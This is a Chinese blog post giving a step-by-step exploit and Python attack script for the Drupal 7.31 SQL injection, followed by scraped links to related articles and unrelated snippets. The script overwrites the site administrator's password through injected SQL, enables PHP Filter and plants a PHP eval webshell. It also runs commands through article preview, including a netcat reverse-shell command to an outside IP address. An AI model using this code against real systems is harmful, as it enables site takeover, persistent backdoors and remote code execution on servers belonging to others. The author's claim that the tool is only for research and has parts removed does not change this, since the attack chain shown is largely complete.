Drupal 7.31 SQL注入漏洞利用具体解释及EXP
有意迟几天放出来这篇文章以及程序,只是看样子Drupal的这个洞没有引起多少重视,所以我也没有必要按着不发了,只是说实话这个洞威力挺大的。当然。这也是Drupal本身没有意料到的。
0x00
首先。这个漏洞真的非常大。并且Drupal用的也比較多。应该能够扫出非常多漏洞主机,可是做批量可能会对对方站点造成非常大的损失。所以我也就仅仅是写个Exp。只是。这个洞好像不怎么被重视。这也是极为不合适。
0x01
关于漏洞的原理和POC在我的博客上已经有文章进行解释。这里仅仅是着重说一下利用过程。配合POC的效果。我主要是从远程代码运行和GetShell方面去做的利用。
远程代码运行利用:
1.使用超级管理员进行登录
2.开启网站PHP Filter功能
3.新建aticle,选择PHP_CODE模式(编辑php代码)并预览
4.预览页面加载后就会运行代码
相应EXP中DrupalSQLin类的codeExecution函数,这个函数所做的事情就是把上述过程自己主动化。
我编写这个部分比較费劲的是,requests发送attachment遇到了问题,最后实在没办法就自己对Post数据包进行拼接,拼接结构例如以下:
watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvdTAxMTcyMTUwMQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center">
在调试程序时,使用burpsuite进行辅助非常有效果,通过burpsuite你能够清楚看到每一次交互的数据包格式与字段内容。
GetShell利用:
1.使用超级管理员进行登录
2.开启站点的PHP Filter功能
3.新建block。编辑PHP代码
4.使用PHP_CODE进行保存
Post请求构造例如以下:
watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvdTAxMTcyMTUwMQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast">
使用python进行发包。有个缺点就是不直观。我们无法获知我们的数据包构造是否正确,这时候能够使用requests模块的proxies參数。将代理设置为burpsuite,然后就能够分析调试了。只是,使用新建block的方法获取shell可能权限比較小。
在构造请求包的时候。有两个字段是form_build_id和form_token,他们是Drupal自带的防止CSRF所使用的token(类似于Django中的csrf防护)。
发包之前必须找到这两个东西。使用小型爬虫就可以。
另一个关键点就是模拟登陆后要保存cookie,由于兴许的攻击利用都要携带admin的cookie。否则会运行出错。
0x02
命令运行效果:本地监听port获取反弹shell
測试环境:本地測试
程序运行:例如以下图
接收反弹shell的过程中主线程会堵塞。
反弹shell效果;
0x03
这个漏洞威力大,带给对方主机的危害也大,并且涉及到用户覆盖以及改变站点原有设置的问题。所以我这里就不准备将代码完整分享出来。
假设想要隐蔽地利用。那么须要做非常多辅助工作。比方在开启php filter的过程中,涉及到小型爬虫抓取站点原有的配置信息。
还有就是管理员的获取方式进行改进。
接下来就是放出部分代码:
模拟登录函数
开启PHP Filter:
watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvdTAxMTcyMTUwMQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast">
代码运行:
0x04
这样的Web类型的EXP编写须要非常多细节。在调试的途中我甚至动用了burpsuite。而且这个过程也让我恶心得非常。
另外,程序也仅供安全研究与学习交流使用,请读者不要用于非法用途。
0x05
分享一下程序。当中一些重要的部分被我删去一些,程序如今是无法执行的,还是仅仅提供学习交流使用:
#coding=utf-8
import requests
import re
import sys
import socket
import urllib
import urllib2
import cookielib
import mimetypes
import mimetools
class DrupalSQLin(): '''获取超级管理员账户password(覆盖)'''
def getAdmin(self,url):
try:
#admin is owned, pass is thanks
data = {
"name[0 ;update users set name='admin',pass='$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' where uid=1;# ]":'admin',
"name[0]":"111111",
"pass":"shit2",
"test2":"test",
"form_build_id":"",
"form_id":"user_login_block",
"op":"Log+in"
}
r = requests.post(url,timeout=10,data=data)
page = r.content
if page.count("mb_strlen() expects parameter 1 to be string") != 0:
print "[+] Get Admin Success:admin/thanks"
except Exception, e:
print "Exception exists:%s" % e
return None '''使用超级管理员登录'''
def login(self,url):
#get token
pattern = re.compile(r'name="form_build_id" value="(.+)"')
r = requests.get(url)
form_build_id = pattern.findall(r.content)[0]
login_data = {
'name':'admin',
'pass':'thanks',
'form_build_id':form_build_id, #csrf token
'form_id':'user_login_block',
'op':'Log+in'
} r = requests.post(url,data=login_data)
page = r.content
if page.count("Log out") != 0:
print '[+] Admin Log in Success!' #获取cookies
cj = cookielib.LWPCookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
login_path = 'http://127.0.0.1/drupal-7.31/'
pattern = re.compile(r'name="form_build_id" value="(.+)"')
r = requests.get(login_path)
form_build_id = pattern.findall(r.content)[0]
data = {
'name':'admin',
'pass':'thanks',
'form_build_id':form_build_id, #csrf token
'form_id':'user_login_block',
'op':'Log+in'
}
post_data = urllib.urlencode(data)
request = urllib2.Request(login_path,post_data)
html = opener.open(request).read()
if cj:
cj.save('cookiefile.txt')
else:
print 'Get Cookies Error, Exploit Failed!'
sys.exit()
f = open('cookiefile.txt','r')
cookiesfile = f.read()
pattern = re.compile(r'Set-Cookie3: (.+? )=(.+?);')
ret = pattern.findall(cookiesfile)
cookies = {ret[0][0]:str(ret[0][1]).replace('"','')}
return cookies
else:
return None '''开启PHP Filter'''
def openPhpFilter(self,url):
cookies = self.login(url)
url = "%s%s" % (url,"? q=admin/modules/list/confirm")
pattern_id = re.compile(r'name="form_build_id" value="(.+)"')
pattern_token = re.compile(r'name="form_token" value="(.+)"')
r = requests.get(url,cookies=cookies)
form_build_id = pattern_id.findall(r.content)[0] #csrf token
form_token = pattern_token.findall(r.content)[0]
post_data = {
'modules[Core][php][enable]':'1',
'modules[Core][color][enable]':'1',
'modules[Core][comment][enable]':'1',
'modules[Core][contextual][enable]':'1',
'modules[Core][dashboard][enable]':'1',
'modules[Core][dblog][enable]':'1',
'modules[Core][field_ui][enable]':'1',
'modules[Core][help][enable]':'1',
'modules[Core][list][enable]':'1',
'modules[Core][menu][enable]':'1',
'modules[Core][number][enable]':'1',
'modules[Core][overlay][enable]':'1',
'modules[Core][path][enable]':'1',
'modules[Core][rdf][enable]':'1',
'modules[Core][search][enable]':'1',
'modules[Core][shortcut][enable]':'1',
'modules[Core][toolbar][enable]':'1',
'form_build_id':form_build_id,
'form_token':form_token,
'form_id':'system_modules',
'op':'Save+configuration'
}
try:
r = requests.post(url,data=post_data,cookies=cookies)
print '[+] Open PHP Filter Success!'
except Exception, e:
print "[+] Exception:%s Exploit Failed!" % e
sys.exit() '''获取webshell:?q=admin/structure/block/add'''
def getShell(self,url,content="<?php @eval($_POST['cmd']);?>"):
print "[+] Get Shell Module\nNotice: You can use this part get a shell."
cookies = self.login(url)
url = "%s%s" % (url,"?q=admin/structure/block/add&render=overlay")
pattern_id = re.compile(r'name="form_build_id" value="(.+)"')
pattern_token = re.compile(r'name="form_token" value="(.+)"')
r = requests.get(url,cookies=cookies)
form_build_id = pattern_id.findall(r.content)[0] #csrf token
form_token = pattern_token.findall(r.content)[0]
post_data = {
'title':'',
'info':'shit2',
'body[value]':content,
'body[format]':'php_code',
'regions[bartik]':'-1',
'regions[seven]':'-1',
'visibility':'0',
'pages':'',
'custom':'0',
'visibility__active_tab':'edit-path',
'form_build_id':form_build_id,
'form_token':form_token,
'form_id':'block_add_block_form',
'op':'Save+block'
}
rp = requests.post(url,data=post_data)
page_content = rp.content
if page_content.count("created") != 0:
print 'Get Shell Success:%s/?q=admin/structure/block&render=overlay' % url
return "%s/?q=admin/structure/block" % url
else:
print 'Get Shell Failed!' '''远程代码运行:? q=node/add/article'''
def codeExecution(self,url,code):
print '''
[+]Code Execution Module
Please make sure that keep nc listener opening when you want to get a reverse shell.
1.First, you need to exe nc -vv -l -p <port>
2.Then, you can run this script with command 'nc <ip> <port> -e /bin/bash'
Tips: If you want a echo, add reg by youself.
'''
cookies = self.login(url)
url = "%s%s" % (url,"?q=node/add/article")
r = requests.get(url,cookies=cookies)
pattern_id = re.compile(r'name="form_build_id" value="(.+)"')
pattern_token = re.compile(r'name="form_token" value="(.+)"')
form_build_id = pattern_id.findall(r.content)[0] #csrf token
#拼接attachment
BOUND = mimetools.choose_boundary()
content_type = "multipart/form-data; boundary=%s" % BOUND
CRLF = "\r\n"
fields = {
'title':'chongrui',
'field_tags[und]':CRLF,
'body[und][0][summary]':CRLF,
'body[und][0][value]':'<?php echo shell_exec("%s");?>' % code,
'body[und][0][format]':'php_code',
'field_image[und][0][fid]':'0',
'field_image[und][0][display]':'1',
'changed':CRLF,
'form_build_id':form_build_id,
'form_token':form_token,
'form_id':'article_node_form',
'log':CRLF,
'name':'admin',
'date':CRLF,
'status':'1',
'promote':'1',
'additional_settings__active_tab':'edit-revision-information',
'op':'Preview'
} L= []
for k,v in fields.items():
L.append('--'+BOUND)
L.append('\n')
L.append('Content-Disposition: form-data; name="%s"%s' % (k,"\n"))
if v != CRLF:
L.append(CRLF)
L.append(v)
L.append('\n') L.append('%s--' % BOUND)
L.append(CRLF) body = ''
for x in L:
body+=x
headers = {
'Content-type':content_type
}
r = requests.post(url,data=body,cookies=cookies,headers=headers)
cmd_echo = r.content
if cmd_echo.count("Preview trimmed version") == 0:
print 'Execution Error!'
else:
print 'Execution Success!' if __name__ == '__main__':
url = "http://127.0.0.1/drupal-7.31/"
code = "" print "Target host:%s" % url
print 'Powered by :Exploit <from 91ri Team>\nQQ:739858341'
exp = DrupalSQLin()
#获取admin权限
exp.getAdmin(url)
#开启php filter
exp.openPhpFilter("http://127.0.0.1/drupal-7.31/")
#getshell
exp.getShell(url)
#代码运行
exp.codeExecution(url,'c:\\\\nc.exe 10.10.10.132 10002 -e c:\\\\cmd.exe')
Drupal 7.31 SQL注入漏洞利用具体解释及EXP的更多相关文章
- [CVE-2014-3704]Drupal 7.31 SQL注入漏洞分析与复现
记录下自己的复现思路 漏洞影响: Drupal 7.31 Drupal是一个开源内容管理平台,为数百万个网站和应用程序提供支持. 0x01漏洞复现 复现环境: 1) Apache2.4 2) Php ...
- DedeCMS全版本通杀SQL注入漏洞利用代码及工具
dedecms即织梦(PHP开源网站内容管理系统).织梦内容管理系统(DedeCms) 以简单.实用.开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,近日,网友 ...
- DedeCMS全版本通杀SQL注入漏洞利用代码
EXP: Exp:plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000u ...
- Drupal 7.31版本爆严重SQL注入漏洞
今早有国外安全研究人员在Twitter上曝出了Drupal 7.31版本的最新SQL注入漏洞,并给出了利用测试的EXP代码. 在本地搭建Drupal7.31的环境,经过测试,发现该利用代码可成功执行并 ...
- 利用SQL注入漏洞登录后台
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询 ...
- 利用SQL注入漏洞登录后台的实现方法
利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读 ...
- 利用“参数赋值”防范SQL注入漏洞攻击
<<年轻,无权享受>————送给每一个看到此文的同僚们 在这无精打采的炎夏 我躺在阳台上房东的旧沙发 回想几个月来遇到的问题 我不禁内心开始慌张喘着粗气 还有大把时间去打拼 没有到只 ...
- 利用SQL注入漏洞登录后台的实现方法 。。。。转载
一.SQL注入的步骤 a) 寻找注入点(如:登录界面.留言板等) b) 用户自己构造SQL语句(如:' or 1=1#,后面会讲解) c) 将sql语句发送给数据库管理系统(DBMS) d) DBMS ...
- DRUPAL-PSA-CORE-2014-005 && CVE-2014-3704 Drupal 7.31 SQL Injection Vulnerability /includes/database/database.inc Analysis
目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Use Drupal to build everything from perso ...
随机推荐
- Linux makefile教程之make运行八[转]
make 的运行 —————— 一 般来说,最简单的就是直接在命令行下输入make命令,make命令会找当前目录的makefile来执行,一切都是自动的.但也有时你也许只想让 make重编译某些文件, ...
- hibernate建表 一对多 多的一方控制一的一方
一对多 单向<one-to-many>通过calss操作student 外键在student表中,所以外键由student维护<many-to-one>通过student操作c ...
- Worm
Description 自从见识了平安夜苹果的涨价后,Lele就在他家门口水平种了一排苹果树,共有N棵. 突然Lele发现在左起第P棵树上(从1开始计数)有一条毛毛虫.为了看到毛毛虫变蝴蝶的过程,Le ...
- cmd命令 chcp
chcp是“change code page”的缩写.(关于代码页的相关知识详见:http://www.cnblogs.com/minisculestep/articles/4920992.html)
- linux 为开机菜单加密码·
首先是在/boot/grub/menu.lst 里面添加密码的,但是需要是加密过后的,否则人家直接跑到你的menu.lst里面查看密码不就行了.... 于是,可以使用grub提供的md5加密功能: # ...
- mybatis系列-14-延迟加载
14.1 什么是延迟加载 resultMap可以实现高级映射(使用association.collection实现一对一及一对多映射),association.collection具备延迟加载 ...
- geeksforgeeks@ Minimum Points To Reach Destination (Dynamic Programming)
http://www.practice.geeksforgeeks.org/problem-page.php?pid=91 Minimum Points To Reach Destination Gi ...
- phonegap 新窗口 WebView
自定义WebView窗口打开 import com.ap.work.QuickWeb public class QuickPlugin extends CordovaPlugin { /** * 新开 ...
- linux下生成 SSH 公钥,用于GitHub
ssh-keygen -t rsa -C <email> 参见 https://help.github.com/articles/generating-ssh-keys/ Then add ...
- What's Exposure?
[What's Exposure?] ISO:即相机的感光度.ISO数值的大小是DC对光线反应的敏感程度测量值,通常以ISO数值表示,数值越大表示对光线的敏感性越强,数值越小表示越弱,是控制曝光量的一 ...